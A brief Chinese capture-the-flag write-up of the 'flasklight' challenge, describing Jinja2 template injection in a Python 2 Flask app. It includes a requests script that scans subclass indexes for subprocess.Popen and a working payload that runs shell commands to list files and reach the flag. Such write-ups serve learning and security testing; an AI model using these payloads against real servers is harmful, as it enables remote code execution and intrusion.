这个根据题目名字,flask模板注入,找注入点
查看源码发现GET传参
直接测试模板注入
常规模板注入
试了试之前做过的模板注入,都行不通
然后百度了一波,原来这是python2的
难怪不行
{{''.__class__.__mro__[2].__subclasses__()}}
利用这个可以读取所有的类,然后看看能不能RCE
找到catch_warnings类,
但是无法RCE
看了wp,发现可以利用subprocess.Popen这个类来进行RCE
学废了
网上搜的模板注入,都没说这个类,emmmm
找索引
import requests
import html
import time
for i in range(0,300):
time.sleep(0.06)
url='http://4d0aed10-26a2-4108-8b17-9c8aa555ca2d.node3.buuoj.cn?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d]}}' %(i)
r = requests.get(url)
print(url)
if "subprocess.Popen" in html.unescape(r.text):
print(i)
break
索引为258
payload
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
查看flasklight目录
另外一个就是flag